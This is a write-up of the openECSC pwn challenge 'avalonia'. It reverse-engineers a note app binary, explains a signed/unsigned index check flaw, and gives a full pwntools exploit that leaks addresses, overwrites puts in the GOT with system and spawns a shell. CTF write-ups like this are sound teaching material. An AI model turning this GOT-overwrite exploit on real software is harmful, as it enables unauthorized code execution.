Post

avalonia - openECSC - Walkthrough

Exploit a logic bug in a binary.

avalonia - openECSC - Walkthrough

Introduction

This is a write-up for the challenge avalonia of the openECSC. The challenge is rated as medium and is in the pwn category. Like for the other challenges, you can download a file named like the challenge name containing the necessary files.

The challenge starts with the following description:

Bossman asked me to make an innovative and futuristic note app with a “sleek and modern” user interface.

Turns out we might’ve had different ideas of what is “sleek and modern”.

There are four files in the compressed challenge file:

1
2
3
4
5
$ ls -R
Dockerfile  chall  ld-linux-x86-64.so.2  libc.so.6

./chall:
app  flag.txt

I used pwninit again like in the exitnction challenge to setup the binary with the matching linker and the libc version.

1
2
3
4
5
6
7
8
9
$ pwninit
bin: ./app
libc: ./libc.so.6
ld: ./ld-linux-x86-64.so.2

unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.35-0ubuntu3.10_amd64.deb
copying ./app to ./app_patched
running patchelf on ./app_patched

After patching the challenge, you can run the app_patched binary, this will provide a interface of a note app.

1
2
3
4
5
6
7
8
9
10
11
12
$ ./app_patched 

--- Another Very Awesome Limited Obnoxious Note Interfacing App (No .NET!) ---
Options:
0) Add new note
1) View a note
2) Edit a note
3) Delete a note
4) Exit and abandon all notes
5) Save notes Not implemented
6) Open in GUI ETA: unknown
Choice >

There are the four basic operations available when working with the notes. You can add, view, edit and delete the notes. The last two functions/options are not available so it is finally only possible to exit.

To investigate possible attacks against the binary checksec can be used.

1
2
3
4
5
6
7
pwndbg> checksec
File:     /home/user/Documents/openECSC2025/writeup2/avalonia/app_patched
Arch:     amd64
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled

The binary has all standard protections except RELRO and the GOT is writable.

Functions

To gain a deeper understanding of the functionality of the binary I started reverse engineering it.

Add a note

The add note function firstly checks if there is a spot empty to save the note. Then it reads a string of 0x9c bytes in a buffer and calls add_note() with that.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void do_add_note(void)

{
  int iVar1;
  uint uVar2;
  long in_FS_OFFSET;
  char local_b8 [168];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = check_note_spots();
  if (iVar1 == -1) {
    puts("[ERR] All 10 note spots have been used up!");
  }
  else {
    printf("Enter note content > ");
    fgets(local_b8,0x9c,stdin);
    uVar2 = add_note(local_b8);
    if (uVar2 == 0xffffffff) {
      puts("[ERR] what");
    }
    printf("Successfully created note %d.\n",(ulong)uVar2);
  }
  return;
}

Check note spots

1
2
3
4
5
6
7
8
9
10
11
12
13
int check_note_spots(void)

{
  int local_c;
  
  for (local_c = 0; (*(long *)(noteptrs + (long)local_c * 8) != 0 && (local_c < 10));
      local_c = local_c + 1) {
  }
  if (local_c == 10) {
    local_c = -1;
  }
  return local_c;
}

This function maps through the noteptrs buffer, which is a 80 byte long pointer array and will check if there is any pointer unset. A total of 10 notes can be saved totally.

Add note

The add note function called by the do_add_note function simply copies the string to the notes buffer. Before the string the time will be saved in a 4 bytes long buffer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int add_note(char *buffer)

{
  int iVar1;
  long lVar2;
  time_t tVar3;
  
  iVar1 = check_note_spots();
  if (iVar1 == -1) {
    iVar1 = -1;
  }
  else {
    lVar2 = (long)iVar1 * 0xa0;
    strcpy(notes + lVar2 + 4,buffer);
    notes[lVar2 + 0x9f] = 0;
    tVar3 = time((time_t *)0x0);
    *(int *)(notes + lVar2) = (int)tVar3;
    *(undefined1 **)(noteptrs + (long)iVar1 * 8) = notes + lVar2;
  }
  return iVar1;
}

The memory of the notes section contains an array of notes. The notes buffer is above the noteptrs buffer and is 1600 bytes large. Each note is in the following format, additionally a pointer is pointing to that note from the noteptrs buffer.

1
[ Time 4 bytes ][ buffer 0x9b ]

Edit notes

The do_edit_note() function first retrieves the index of the note you want to edit, then it will check if the index is not -1. After that it is checked if the noteptrs buffer doesn’t contain a empty entry, a null pointer, if that is not the case a buffer is read in and edit_note() is called with the buffer as the argument.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void do_edit_note(void)

{
  long lVar1;
  int iVar2;
  long lVar3;
  long in_FS_OFFSET;
  char local_b8 [168];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter index of note to edit > ");
  iVar2 = get_index();
  lVar3 = (long)iVar2;
  if (lVar3 == -1) {
    printf("[ERR] Invalid note index! (Expected 0-9, got %zu)\n",0xffffffffffffffff);
  }
  else {
    lVar1 = *(long *)(noteptrs + lVar3 * 8);
    if (lVar1 == 0) {
      printf("[ERR] No note at index %zu!\n",lVar3);
    }
    else {
      printf("Enter note content: ");
      fgets(local_b8,0x9c,stdin);
      edit_note(lVar1,local_b8);
      printf("Successfully edited note %zu.\n",lVar3);
    }
  }
  return;
}

View notes

The view notes function also uses the get_index() function like the edit function, it will do the same checks if the index is -1 and if the pointer is null. After that it parses the first 4 bytes as the time and prints it out. Lastly the buffer is printed using puts, this is particularly important because for other output the printf function is used in this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void do_view_note(void)

{
  int iVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  long local_30;
  long local_28;
  int *local_20;
  tm *local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter index of note to view > ");
  iVar1 = get_index();
  local_28 = (long)iVar1;
  if (local_28 == -1) {
    printf("[ERR] Invalid note index! (Expected 0-9, got %zu)\n",0xffffffffffffffff);
  }
  else {
    local_20 = *(int **)(noteptrs + local_28 * 8);
    if (local_20 == (int *)0x0) {
      printf("[ERR] No note at index %zu!\n",local_28);
    }
    else {
      local_30 = (long)*local_20;
      local_18 = gmtime(&local_30);
      if (local_18->tm_hour < 0xc) {
        uVar2 = 0x41;
      }
      else {
        uVar2 = 0x50;
      }
      iVar1 = local_18->tm_hour + -1;
      printf("Note %zu info:\nModified on %02d/%02d/%04d %02d:%02d:%02d %cM\nContent: \"",local_28,
             (ulong)(uint)local_18->tm_mday,(ulong)(local_18->tm_mon + 1),
             (ulong)(local_18->tm_year + 0x76c),
             (ulong)(iVar1 + ((iVar1 / 6 + (iVar1 >> 0x1f) >> 1) - (iVar1 >> 0x1f)) * -0xc + 1),
             (ulong)(uint)local_18->tm_min,(ulong)(uint)local_18->tm_sec,uVar2);
      puts((char *)(local_20 + 1));
      puts("\"");
    }
  }
  return;
}

Additional functions

View Delete Function Description

The delete notes function simply nulls out the pointer in the noteptrs pointer array. The data in the notes buffer won’t be deleted.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void do_delete_note(void)
{
  int iVar1;
  long lVar2;
  
  iVar1 = get_index();
  lVar2 = (long)iVar1;
  if (lVar2 == -1) {
    printf("[ERR] Invalid note index! (Expected 0-9, got %zu)\n",0xffffffffffffffff);
  }
  else if (*(long *)(noteptrs + lVar2 * 8) == 0) {
    printf("[ERR] No note at index %zu!\n",lVar2);
  }
  else {
    *(undefined8 *)(noteptrs + lVar2 * 8) = 0;
    printf("Successfully deleted note %zu.\n",lVar2);
  }
  return;
}

Vulnerability

The vulnerability in this challenge is a combination of the get_index() and the check_index() function In the get_index(). The check_index function is there to protect arbitrary memory reads and the get_index function is used to get the index from the user using scanf.

1
2
3
4
5
6
7
8
9
10
11
12
13
undefined8 get_index(void)
{
  char cVar1;
  long in_FS_OFFSET;
  undefined8 local_18;
  long local_10;
  
  scanf(" %zu%*c",&local_18);
  cVar1 = check_index(local_18);
  if (cVar1 == '\0') {
    local_18 = 0xffffffff;
  }
}

The %zu reads an unsigned long with a size of 8 bytes into local_18. So an unsigned long is read into a signed long. The check_index() function now checks if the long is smaller than 10. The issue here is that if we provide a huge unsigned number we can get a number lower than 0 and have the ability to create indexes smaller than 0 which will pass the check and allow us to go above (lower in addresses) the noteptrs array.

1
2
3
4
bool check_index(long param_1)
{
  return param_1 < 10;
}

To store negative numbers the most significant bit (MSB) is set 1. For positive numbers it is set to 0, so if you provide a number larger than 2^n (n = MSB), in the unsigned number it will become a negative number.

Edit: There is actually no need to calculate the address using very large numbers. There is the ability to input negative numbers into scanf with %u, which still works. This a undefined behavior according to this StackOverflow article. This makes solving the challenge easier. - Credit to @pingotux

Exploitation

As said before the ability to point with the index to a address lower than the noteptrs array allows us to set custom pointers and leak pointers. Fortunately the notes buffer is above noteptrs.

1
2
3
4
pwndbg> p &noteptrs                                                                          
$2 = (<data variable, no debug info> *) 0x555ab83f26e0 <noteptrs>
pwndbg> p &notes                                                                             
$3 = (<data variable, no debug info> *) 0x555ab83f20a0 <notes>

Strategy

I firstly discovered that one address above the notes buffer and below the GOT points to itself, so I used the offset to that buffer to leak an address in the writeable section of the binary. It must be noted that because the first 4 buffers are the time, you need a function which can convert a time into a 4 byte address. The time is a 4 byte number.

Next you can use the new found address and write it in the last note buffer in slot 9, but you can’t write it in the last 8 bytes of that slot right before the noteptrs buffer because the get_index() function checks if the index is -1, so you need to use -2 for the 8 bytes.

Now I changed the address to point to the GOT, especially to point to puts. I then did a read the receive the puts address from the GOT. This address can then be used to calculate the address of system. With the same index you now can overwrite the address of puts with the address of system because of the weak binary protection. Before writing the system address the offset needs to be changed again because the first 4 bytes at the offset will be the time.

Finally you can view the first buffer which should contain /bin/sh to pop a shell.

Exploit Script

Here is the full exploit script used.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *
import datetime,struct

do_exploit_remote = False

context.binary = elf = ELF("./app_patched")
context.arch = 'amd64'

libc = ELF("./libc.so.6")


def date_to_bytes(date_str: str) -> bytes:
    """
    Convert 'Modified on DD/MM/YYYY hh:mm:ss AM/PM' into original 4-byte timestamp. Thx ChatGPT
    """
    prefix = "Modified on "
    if date_str.startswith(prefix):
        date_str = date_str[len(prefix):]

    dt = datetime.datetime.strptime(date_str, "%d/%m/%Y %I:%M:%S %p")
    timestamp = int(dt.replace(tzinfo=datetime.timezone.utc).timestamp())

    return struct.pack("<i", timestamp)


MAX_UNSIGNED_LONG = 18446744073709551615
def add_note(content):
    p.sendlineafter(b'Choice > ', b'0')
    p.sendlineafter(b'> ', content)

def view_note(index):
    p.sendlineafter(b'Choice > ', b'1')
    p.sendlineafter(b'> ', str(index).encode())

def edit_note(index, content):
    p.sendlineafter(b'Choice > ', b'2')
    p.sendlineafter(b'> ', str(index).encode())
    p.sendlineafter(b': ', content)

def delete_note(index):
    p.sendlineafter(b'Choice > ', b'3')
    p.sendline(str(index).encode())

def read_addr(dest):
    # convert signed to unsigned (bug only using u64)
    view_note(dest)

    date = p.recvline_contains(b"Modified")
    addr_part1 = date_to_bytes(date.decode())
    addr_part2 = p.recvline_contains(b"Content").split(b"Content: \"")[1][:2]

    addr = addr_part1+addr_part2+b"\x00"*2
    addr = u64(addr)
    return addr



if do_exploit_remote:
    p = remote("084ef1bf-e746-4f5c-b1ce-7730095656e1.openec.sc",31337,ssl=True)
else:
    p = process([elf.path])

# used for the puts later to do puts("/bin/sh")
add_note(b"/bin/sh")

# add some dummy notes
for i in range(9):
    add_note(b"A"*0x40)

# address pointing to itseld
addr = read_addr(-210)

# setting the offset
elf.address = addr-16464

log.info(f"Extracxted elf base address {hex(elf.address)}")

puts_got = elf.got["puts"]

# delete note 9 to write the address there
delete_note(9)

# add note which contains adddress,
# so you can reference that to write there
payload = cyclic(0x8c-8)
payload += p64(puts_got)

add_note(payload)

# read puts in GOT
addr = read_addr(-3)

libc.address = addr-libc.symbols["puts"]

log.info(f"Extracxted libc address {hex(addr)}")

delete_note(9)

# add new note to point 4 bytes before puts because the time is written too
payload = b""
payload += cyclic(0x8c-8)
payload += p64(puts_got-4)

add_note(payload)

system_addr = libc.symbols["system"]

payload = p64(system_addr)

# write system to puts
edit_note(-3,payload)

# execute puts() -> system()
view_note(0)

p.clean()
p.sendline(b"cat /flag.txt")

p.interactive()
This post is licensed under CC BY 4.0 by the author.